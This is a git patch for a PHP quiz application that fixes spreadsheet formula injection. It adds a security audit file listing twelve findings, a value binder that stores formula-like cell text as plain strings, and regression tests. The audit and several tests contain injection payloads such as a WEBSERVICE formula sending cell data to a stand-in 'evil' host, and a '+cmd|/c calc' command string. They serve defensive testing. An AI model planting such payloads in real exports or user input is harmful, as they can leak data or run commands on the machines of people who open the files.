From cd293aa86fa33f9ecd92972838da709d8a208028 Mon Sep 17 00:00:00 2001 From: Marijn Doeve Date: Mon, 13 Jul 2026 09:31:14 +0200 Subject: [PATCH] Prevent formula injection in spreadsheet exports Answer/candidate text starting with =, +, -, or @ was written to XLSX exports as a live formula rather than plain text. Since seasons can have multiple owners, a co-owner could plant a formula that runs (and can exfiltrate data) when another owner opens the export in Excel. --- SECURITY_AUDIT.md | 100 ++++++++++++++++++ .../FormulaInjectionSafeValueBinder.php | 31 ++++++ src/Service/DataExportService.php | 6 +- src/Service/QuizSpreadsheetService.php | 7 ++ .../FormulaInjectionSafeValueBinderTest.php | 63 +++++++++++ tests/Service/DataExportServiceTest.php | 38 +++++++ tests/Service/QuizSpreadsheetServiceTest.php | 21 ++++ 7 files changed, 265 insertions(+), 1 deletion(-) create mode 100644 SECURITY_AUDIT.md create mode 100644 src/Helpers/FormulaInjectionSafeValueBinder.php create mode 100644 tests/Helpers/FormulaInjectionSafeValueBinderTest.php diff --git a/SECURITY_AUDIT.md b/SECURITY_AUDIT.md new file mode 100644 index 0000000..39cc25a --- /dev/null +++ b/SECURITY_AUDIT.md @@ -0,0 +1,100 @@ +# Security Audit — Tijd voor de test + +**Date:** 2026-07-12 +**Branch:** `declare-ext-intl-ext-zip` +**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified. + +## Summary + +| # | Severity | Finding | Location | +|---|----------|---------|----------| +| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` | +| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` | +| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` | +| 4 | Medium | No login throttling / brute-force protection | `config/packages/security.yaml:17-29` | +| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` | +| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` | +| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` | +| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` | +| 9 | Low | Containers run as root | `Dockerfile` | +| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` | +| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` | +| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` | + +**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories. + +--- + +## High + +### 1. `PrepareEliminationController` has no authorization guard — FIXED + +**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65` + +The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule. + +- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`. +- `index` (line 32) never checked that `$quiz` belonged to `$season`. + +**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens. + +**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass. + +### 2. Production PostgreSQL published to host with default-password fallback + +**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30` + +- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only. +- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password. + +**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens. + +**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod. + +--- + +## Medium + +### 3. Spreadsheet formula injection in exports — FIXED + +**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403` + +All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula. + +**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate. + +**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing). + +### 4. No login throttling / brute-force protection + +**File:** `config/packages/security.yaml:17-29` + +`form_login` has no `login_throttling` and no rate limiter is configured anywhere. `/login` allows unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) is likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet). + +**Fix:** Add `login_throttling` and a rate limiter on the public season entry. + +### 5. Open self-registration grants immediate backoffice access + +**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31` + +Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable. + +**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration. + +--- + +## Low + +- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question). +- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening. +- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`. +- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container. +- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable. +- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public. +- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry. + +--- + +## Confirmed clean + +No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`). diff --git a/src/Helpers/FormulaInjectionSafeValueBinder.php b/src/Helpers/FormulaInjectionSafeValueBinder.php new file mode 100644 index 0000000..9846fd3 --- /dev/null +++ b/src/Helpers/FormulaInjectionSafeValueBinder.php @@ -0,0 +1,31 @@ +setValueExplicit($value); + + return true; + } + + return parent::bindValue($cell, $value); + } +} diff --git a/src/Service/DataExportService.php b/src/Service/DataExportService.php index 2b97159..f0cf206 100644 --- a/src/Service/DataExportService.php +++ b/src/Service/DataExportService.php @@ -5,6 +5,7 @@ declare(strict_types=1); namespace Tvdt\Service; use Doctrine\ORM\EntityManagerInterface; +use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; @@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz; use Tvdt\Entity\Season; use Tvdt\Entity\User; use Tvdt\Helpers\FilenameSanitizer; +use Tvdt\Helpers\FormulaInjectionSafeValueBinder; use Tvdt\Repository\QuizRepository; use function Safe\tempnam; @@ -31,7 +33,9 @@ class DataExportService private readonly EntityManagerInterface $entityManager, private readonly QuizSpreadsheetService $quizSpreadsheetService, private readonly QuizRepository $quizRepository, - ) {} + ) { + Cell::setValueBinder(new FormulaInjectionSafeValueBinder()); + } /** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */ public function exportForUser(User $user): string diff --git a/src/Service/QuizSpreadsheetService.php b/src/Service/QuizSpreadsheetService.php index f186223..dd2d377 100644 --- a/src/Service/QuizSpreadsheetService.php +++ b/src/Service/QuizSpreadsheetService.php @@ -4,6 +4,7 @@ declare(strict_types=1); namespace Tvdt\Service; +use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; @@ -14,9 +15,15 @@ use Tvdt\Entity\Answer; use Tvdt\Entity\Question; use Tvdt\Entity\Quiz; use Tvdt\Exception\SpreadsheetDataException; +use Tvdt\Helpers\FormulaInjectionSafeValueBinder; class QuizSpreadsheetService { + public function __construct() + { + Cell::setValueBinder(new FormulaInjectionSafeValueBinder()); + } + public function generateTemplate(bool $fillExample = true): \Closure { $quiz = new Quiz(); diff --git a/tests/Helpers/FormulaInjectionSafeValueBinderTest.php b/tests/Helpers/FormulaInjectionSafeValueBinderTest.php new file mode 100644 index 0000000..0cf9d3d --- /dev/null +++ b/tests/Helpers/FormulaInjectionSafeValueBinderTest.php @@ -0,0 +1,63 @@ + */ + public static function dangerousValueProvider(): iterable + { + yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)']; + yield 'plus-prefixed' => ['+cmd|/c calc']; + yield 'minus-prefixed' => ['-2+3']; + yield 'at-prefixed' => ['@SUM(1,1)']; + } + + #[DataProvider('dangerousValueProvider')] + public function testDangerousValuesAreStoredAsPlainStrings(string $value): void + { + $sheet = new Spreadsheet()->getActiveSheet(); + $sheet->setCellValue('A1', $value); + + $cell = $sheet->getCell('A1'); + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame($value, $cell->getValue()); + } + + public function testOrdinaryValuesAreUnaffected(): void + { + $sheet = new Spreadsheet()->getActiveSheet(); + $sheet->setCellValue('A1', 'Anna en Bram'); + $sheet->setCellValue('A2', 42); + $sheet->setCellValue('A3', true); + + $this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue()); + $this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType()); + $this->assertSame(42, $sheet->getCell('A2')->getValue()); + $this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType()); + $this->assertTrue($sheet->getCell('A3')->getValue()); + $this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType()); + } +} diff --git a/tests/Service/DataExportServiceTest.php b/tests/Service/DataExportServiceTest.php index 66815f5..845202b 100644 --- a/tests/Service/DataExportServiceTest.php +++ b/tests/Service/DataExportServiceTest.php @@ -5,6 +5,7 @@ declare(strict_types=1); namespace Tvdt\Tests\Service; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; +use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PHPUnit\Framework\Attributes\CoversClass; @@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase $this->assertSame('Man', $claudiaRow[$questionColumnIndex]); } + public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void + { + $season = $this->getSeasonByCode('krtek'); + $quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]); + $this->assertInstanceOf(Quiz::class, $quiz); + $candidate = $this->getCandidateBySeasonAndName($season, 'Claudia'); + + /** @var Question $firstQuestion */ + $firstQuestion = $quiz->questions->first(); + /** @var Answer $chosenAnswer */ + $chosenAnswer = $firstQuestion->answers->first(); + $chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)'; + + $this->quizCandidateRepository->createIfNotExist($quiz, $candidate); + $this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer)); + $this->entityManager->flush(); + + $zip = $this->openZip($this->getUserByEmail('user2@example.org')); + $quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx'); + $this->assertIsString($quizContent); + $zip->close(); + + $sheet = $this->loadSheet($quizContent, 'Raw answers'); + $rows = $sheet->toArray(); + $header = $rows[0]; + $questionColumnIndex = array_search($firstQuestion->question, $header, true); + $this->assertIsInt($questionColumnIndex); + $column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1); + + $candidateNames = array_column(\array_slice($rows, 1), 0); + $rowNumber = 2 + array_search('Claudia', $candidateNames, true); + + $cell = $sheet->getCell($column.$rowNumber); + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue()); + } + public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void { $season = $this->getSeasonByCode('krtek'); diff --git a/tests/Service/QuizSpreadsheetServiceTest.php b/tests/Service/QuizSpreadsheetServiceTest.php index 0503f7f..6293ab4 100644 --- a/tests/Service/QuizSpreadsheetServiceTest.php +++ b/tests/Service/QuizSpreadsheetServiceTest.php @@ -4,6 +4,7 @@ declare(strict_types=1); namespace Tvdt\Tests\Service; +use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer; @@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase $this->assertCount(3, $second->answers); } + public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void + { + $quiz = new Quiz(); + $question = new Question(); + $question->question = 'Who missed the assignment?'; + $question->ordering = 1; + $question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true)); + $question->addAnswer(new Answer('Bob', isRightAnswer: false)); + + $quiz->addQuestion($question); + + $path = $this->captureXlsx($this->subject->quizToXlsx($quiz)); + + $sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet(); + $cell = $sheet->getCell('B2'); + + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue()); + } + public function testXlsxToQuizThrowsOnInvalidMimeType(): void { $path = $this->createTempPath('.txt');